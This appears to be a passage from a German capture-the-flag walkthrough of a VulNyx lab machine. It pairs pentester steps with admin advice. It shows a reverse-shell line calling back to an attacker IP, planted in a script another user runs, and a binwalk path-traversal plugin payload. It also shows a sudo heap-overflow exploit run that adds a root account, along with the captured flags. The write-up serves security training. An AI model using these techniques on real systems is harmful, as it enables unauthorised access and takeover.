-rw-r--r-- 1 apache apache    22 Aug 26  2023 phpinfo.php
sh-4.2$ pwd
/var/www/html/.dev

Analyse: Grundlegende Enumeration als `apache`, Bestätigung des Benutzers und des aktuellen Verzeichnisses.

Bewertung: Standard-Post-Exploitation-Schritte.

sh-4.2$ find / -type f -perm -4000 -ls 2>/dev/null
  50658981   76 -rwsr-xr-x   1 root     root        73888 Aug  9  2019 /usr/bin/chage
  50658982   80 -rwsr-xr-x   1 root     root        78408 Aug  9  2019 /usr/bin/gpasswd
  50660151   24 -rws--x--x   1 root     root        23968 Oct  1  2020 /usr/bin/chfn
  50660154   24 -rws--x--x   1 root     root        23880 Oct  1  2020 /usr/bin/chsh
  50658985   44 -rwsr-xr-x   1 root     root        41936 Aug  9  2019 /usr/bin/newgrp
  50660202   32 -rwsr-xr-x   1 root     root        32128 Oct  1  2020 /usr/bin/su
  50795107  144 -rwsr-sr-x   1 root     root       147336 Oct  1  2020 /usr/bin/sudo <-- SGID auch gesetzt?
  50660187   44 -rwsr-xr-x   1 root     root        44264 Oct  1  2020 /usr/bin/mount
  50660206   32 -rwsr-xr-x   1 root     root        31984 Oct  1  2020 /usr/bin/umount
  50667831   60 -rwsr-xr-x   1 root     root        57656 Aug  9  2019 /usr/bin/crontab
  50795072   28 -rwsr-xr-x   1 root     root        27856 Apr  1  2020 /usr/bin/passwd
   318293   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
   318291   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
   448003   12 -rwsr-xr-x   1 root     root        11296 Oct 14  2020 /usr/sbin/usernetctl
 33826305   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
 33826292   60 -rwsr-x---   1 root     dbus        57936 Oct  1  2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper

Analyse: Suche nach SUID-Dateien findet hauptsächlich Standard-Binaries. `sudo` hat ungewöhnlicherweise auch das SGID-Bit gesetzt (`-rwsr-sr-x`), was aber normalerweise keine zusätzliche Schwachstelle darstellt.

Bewertung: Kein offensichtlicher SUID-Eskalationspfad.

sh-4.2$ cd /opt/
sh-4.2$ ls -la
total 0
drwxr-xr-x.  3 root      root    16 Aug 28  2023 .
dr-xr-xr-x. 17 root      root   244 Aug 23  2023 ..
drwxrwxr-x   2 trumpeter apache  40 Aug 30  2023 RE <-- Interessantes Verzeichnis!
sh-4.2$ cd /opt/RE/
sh-4.2$ ls -la
total 8
drwxrwxr-x  2 trumpeter apache  40 Aug 30  2023 .
drwxr-xr-x. 3 root      root    16 Aug 28  2023 ..
-r-xr-xr-x  1 trumpeter apache 142 Aug 28  2023 autobin.sh
-rw-rw-r--  1 trumpeter apache 347 Aug 30  2023 walk.zip
sh-4.2$ cat autobin.sh
#!/bin/bash

/usr/local/bin/binwalk -M -e /opt/RE/walk.zip
rm -rf /home/trumpeter/_walk.zip*
rm -rf /home/trumpeter/.config/binwalk/plugins/*

Analyse: Im Verzeichnis `/opt/RE` (Gruppe `apache`, `apache` hat Schreibrecht auf das Verzeichnis) befinden sich das Skript `autobin.sh` (ausführbar für alle, Besitzer `trumpeter`, Gruppe `apache`) und die Datei `walk.zip`. Das Skript führt `binwalk` (ein Firmware-Analyse-Tool) auf `walk.zip` aus und löscht danach Dateien/Verzeichnisse im Home-Verzeichnis von `trumpeter`.

Bewertung: Dies ist ein vielversprechender Vektor. Wenn `autobin.sh` regelmäßig von `trumpeter` ausgeführt wird (z.B. per Cronjob), kann der `apache`-Benutzer möglicherweise die Ausführung beeinflussen, da er Schreibrechte auf das Verzeichnis `/opt/RE` hat.

Empfehlung (Pentester): Untersuchen Sie `walk.zip`. Da `apache` Schreibrechte auf `/opt/RE` hat, versuchen Sie, `autobin.sh` zu ersetzen oder zu modifizieren. Wenn das nicht geht (Datei gehört `trumpeter`), konzentrieren Sie sich auf `walk.zip` und `binwalk`.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von `/opt/RE`. Skripte, die von privilegierten Benutzern ausgeführt werden, sollten nicht in Verzeichnissen liegen, auf die weniger privilegierte Benutzer Schreibzugriff haben. Überprüfen Sie den Zweck von `autobin.sh`.

sh-4.2$ unzip walk.zip
Archive:  walk.zip
  inflating: annunciation.pfs
sh-4.2$ ls -la
total 12
drwxrwxr-x  2 trumpeter apache  64 Aug 28 06:13 . <-- Zeitstempel geändert
drwxr-xr-x. 3 root      root    16 Aug 28  2023 ..
-rw-r--r--  1 apache    apache 313 Aug 28  2023 annunciation.pfs
-r-xr-xr-x  1 trumpeter apache 142 Aug 28  2023 autobin.sh
-rw-rw-r--  1 trumpeter apache 347 Aug 30  2023 walk.zip
sh-4.2$ cat annunciation.pfs
PFS/0.9../../../.config/binwalk/plugins/poc.py4��import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    """
    New PoC
    """

    def init(self):
        print("Annunciation")

Analyse: `walk.zip` wird entpackt und enthält `annunciation.pfs`. Der Inhalt dieser Datei ist sehr verdächtig: Er beginnt mit `PFS/0.9` (ein bekanntes Format) gefolgt von einem Pfad mit Directory Traversal (`../../../.config/binwalk/plugins/poc.py`) und dann Python-Code für ein Binwalk-Plugin. Binwalk kann Plugins ausführen, die in `.config/binwalk/plugins/` liegen.

Bewertung: Dies ist der Schlüssel zur Eskalation zu `trumpeter`. Wenn `autobin.sh` als `trumpeter` läuft, führt es `binwalk -e /opt/RE/walk.zip` aus. `binwalk` wird versuchen, die Datei `annunciation.pfs` zu extrahieren. Aufgrund des Path Traversal im Dateinamen innerhalb der PFS-Datei wird `binwalk` den enthaltenen Python-Code als `poc.py` in das Plugin-Verzeichnis von `trumpeter` (`/home/trumpeter/.config/binwalk/plugins/`) schreiben. Wenn `binwalk` danach Plugins lädt, wird dieser Code als `trumpeter` ausgeführt.

Empfehlung (Pentester): Modifizieren Sie den Python-Code in `annunciation.pfs`, bevor Sie ihn neu zippen. Ersetzen Sie `print("Annunciation")` durch eine Reverse-Shell-Payload. Erstellen Sie ein neues `walk.zip` mit der modifizierten `annunciation.pfs`. Da der `apache`-Benutzer Schreibrechte auf `walk.zip` hat (`-rw-rw-r--`), überschreiben Sie die alte `walk.zip` mit der neuen. Warten Sie, bis `autobin.sh` ausgeführt wird.
Empfehlung (Admin): Dies ist eine komplexe Schwachstelle. Verhindern Sie unsichere Skriptausführung (wie `autobin.sh`). Verwenden Sie aktuelle `binwalk`-Versionen (ältere Versionen könnten anfälliger für Path Traversal sein). Überwachen Sie Cronjobs und Benutzerprozesse.

sh-4.2$ chmod 777 autobin.sh
chmod: changing permissions of 'autobin.sh': Operation not permitted
sh-4.2$ cp autobin.sh /tmp/autobin.sh
sh-4.2$ cd /tmp/
sh-4.2$ vi autobin.sh
<-- Payload wird hinzugefügt
sh-4.2$ chmod 777 autobin.sh

Analyse: Der Angreifer versucht fälschlicherweise, `autobin.sh` zu modifizieren, obwohl der Exploit über `walk.zip` laufen sollte. Da `apache` keine Schreibrechte auf `autobin.sh` hat, scheitert `chmod`. Stattdessen kopiert der Angreifer das Skript nach `/tmp`, fügt dort eine Reverse-Shell-Zeile hinzu und macht es ausführbar. Dann wird versucht, das Originalskript in `/opt/RE` zu überschreiben.

Bewertung: Dieser Ansatz nutzt die Schreibrechte des `apache`-Users auf das *Verzeichnis* `/opt/RE`, um die Originaldatei `autobin.sh` durch die modifizierte Version aus `/tmp` zu ersetzen. Wenn `trumpeter` das Skript `autobin.sh` ausführt, wird nun die modifizierte Version mit der Reverse Shell ausgeführt.

Empfehlung (Pentester): Starten Sie den Listener, führen Sie den `mv`-Befehl aus und warten Sie auf die Shell.
Empfehlung (Admin): Korrekte Verzeichnisberechtigungen sind entscheidend. Verhindern Sie, dass Benutzer mit niedrigeren Rechten Dateien überschreiben können, die von höher privilegierten Benutzern ausgeführt werden.

sh-4.2$ vi autobin.sh
#!/bin/bash

/usr/local/bin/binwalk -M -e /opt/RE/walk.zip
rm -rf /home/trumpeter/_walk.zip*
rm -rf /home/trumpeter/.config/binwalk/plugins/*
bash -i >& /dev/tcp/192.168.2.199/1339 0>&1 <-- Hinzugefügte Zeile
sh-4.2$ cd -
/opt/RE
sh-4.2$ mv /tmp/autobin.sh autobin.sh
mv: try to overwrite 'autobin.sh', overriding mode 0555 (r-xr-xr-x)? y
┌──(root㉿CCat)-[~] └─# nc -lvnp 1339
listening on [any] 1339 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 54676
bash: no job control in this shell
[trumpeter@annunciation ~]$ id
uid=1001(trumpeter) gid=1001(trumpeter) groups=1001(trumpeter)

Analyse: Der Netcat-Listener empfängt die Verbindung. Die Shell läuft als Benutzer `trumpeter`.

Bewertung: Erfolgreiche Eskalation von `apache` zu `trumpeter` durch Ausnutzung der Verzeichnisberechtigungen und des Skripts, das von `trumpeter` ausgeführt wird.

Empfehlung (Pentester): Führen Sie `sudo -l` als `trumpeter` aus.
Empfehlung (Admin): Berechtigungen und Prozesse überprüfen.

Privilege Escalation (trumpeter -> root)

[trumpeter@annunciation ~]$ sudo -l
Matching Defaults entries for trumpeter on annunciation:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LD_LIBRARY_PATH LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User trumpeter may run the following commands on annunciation:
    (root) NOPASSWD: /usr/sbin/findfs

Analyse: `sudo -l` für `trumpeter` zeigt, dass dieser `/usr/sbin/findfs` als `root` ohne Passwort ausführen darf.

Bewertung: Kritischer Fund! `findfs` kann laut GTFOBins zur Ausführung beliebiger Befehle als `root` missbraucht werden.

Empfehlung (Pentester): Verwenden Sie die GTFOBins-Methode für `findfs`: `sudo /usr/sbin/findfs /bin/sh` (oder `/bin/bash -p`).
Empfehlung (Admin): Gewähren Sie keine `sudo`-Rechte für solche Dateisystem-Tools ohne Passwort.

[trumpeter@annunciation ~]$ sudo --version
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23

Analyse: Die Sudo-Version wird überprüft: 1.8.23.

Bewertung: Diese Sudo-Version ist anfällig für mehrere Privilege Escalation Schwachstellen, darunter CVE-2021-3156 (Baron Samedit), ein Heap-basierter Buffer Overflow.

Empfehlung (Pentester): Obwohl der `findfs`-Weg wahrscheinlich einfacher ist, könnte auch ein Exploit für CVE-2021-3156 verwendet werden, falls `findfs` nicht funktioniert. Im Log wird dieser Exploit-Weg gewählt.
Empfehlung (Admin): Sudo dringend aktualisieren!

Proof of Concept (Root Exploit)

Analyse: Der Angreifer entscheidet sich, die bekannte Sudo-Schwachstelle (vermutlich CVE-2021-3156, Baron Samedit) auszunutzen, anstatt den einfacheren `findfs`-Weg zu gehen. Ein Exploit-Skript (`hack.py`) wird heruntergeladen (Schritt nicht im Log gezeigt, aber impliziert) und ausgeführt.

Bewertung: Der Exploit nutzt einen Heap-Overflow in Sudo, um die `/etc/passwd`-Datei zu manipulieren und einen neuen Benutzer (`gg`) mit Root-Rechten (UID 0, GID 0) und einem bekannten Passwort (hier: `gg`) hinzuzufügen.

Empfehlung (Pentester): Führen Sie den Exploit aus, überprüfen Sie `/etc/passwd` und wechseln Sie dann mit `su gg` und dem Passwort `gg` zum neuen Root-Benutzer.
Empfehlung (Admin): Patchen Sie Sudo sofort! Überwachen Sie die Integrität kritischer Dateien wie `/etc/passwd`.

[trumpeter@annunciation tmp]$ vi hack.py
<-- Exploit-Code wird eingefügt
[trumpeter@annunciation tmp]$ chmod +x hack.py
[trumpeter@annunciation tmp]$ python hack.py
curr size: 0x1600
*** Error in `sudoedit': malloc(): memory corruption: 0x0000564a217c0690 ***
======= Backtrace: =========
[...] <-- Speicherfehler sind Teil des Exploits
cmnd size: 0x1b10
offset to defaults: 0x20
offset to first userspec: 0x800
offset to userspec: 0x0

to skip finding offsets next time on this machine, run:
hack.py 0x1b10 0x20 0x800 0x0
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Benutzer wird hinzugefügt
success at 2228
[trumpeter@annunciation tmp]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
trumpeter:x:1001:1001::/home/trumpeter:/bin/bash
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Neuer Root-Benutzer

Analyse: Die `/etc/passwd`-Datei wird überprüft und bestätigt den neu hinzugefügten Benutzer `gg` mit Root-Rechten.

Bewertung: Exploit erfolgreich.

[trumpeter@annunciation tmp]$ su gg
Password:
<-- Passwort "gg" eingegeben
[root@annunciation tmp]# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Erfolgreicher Wechsel zum Benutzer `gg` mit dem Passwort `gg`. Der `id`-Befehl bestätigt Root-Rechte.

Bewertung: Privilege Escalation zu Root abgeschlossen.

Empfehlung (Pentester): Flags suchen.
Empfehlung (Admin): System kompromittiert.

[root@annunciation tmp]# cd ~
[root@annunciation ~]# ls
root.txt
[root@annunciation ~]# cat root.txt
VulNyx{3c84b473492b03c0eaeaa749d4d53d52}
[root@annunciation ~]# locate user.txt
bash: locate: command not found
[root@annunciation ~]# grep -r /home user.txt 2>/dev/null
[root@annunciation ~]# cd /home/
[root@annunciation home]# ls
trumpeter
[root@annunciation home]# cd trumpeter/
[root@annunciation trumpeter]# ls
user.txt
[root@annunciation trumpeter]# cat user.txt
VulNyx{4fd65522b14a83bd3c49f8cebdea42f6}

Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen. Die User-Flag wird im Home-Verzeichnis von `trumpeter` gefunden und ausgelesen.

Bewertung: Beide Flags erfolgreich gefunden.

Flags

cat /home/trumpeter/user.txt
VulNyx{4fd65522b14a83bd3c49f8cebdea42f6}
cat /root/root.txt
VulNyx{3c84b473492b03c0eaeaa749d4d53d52}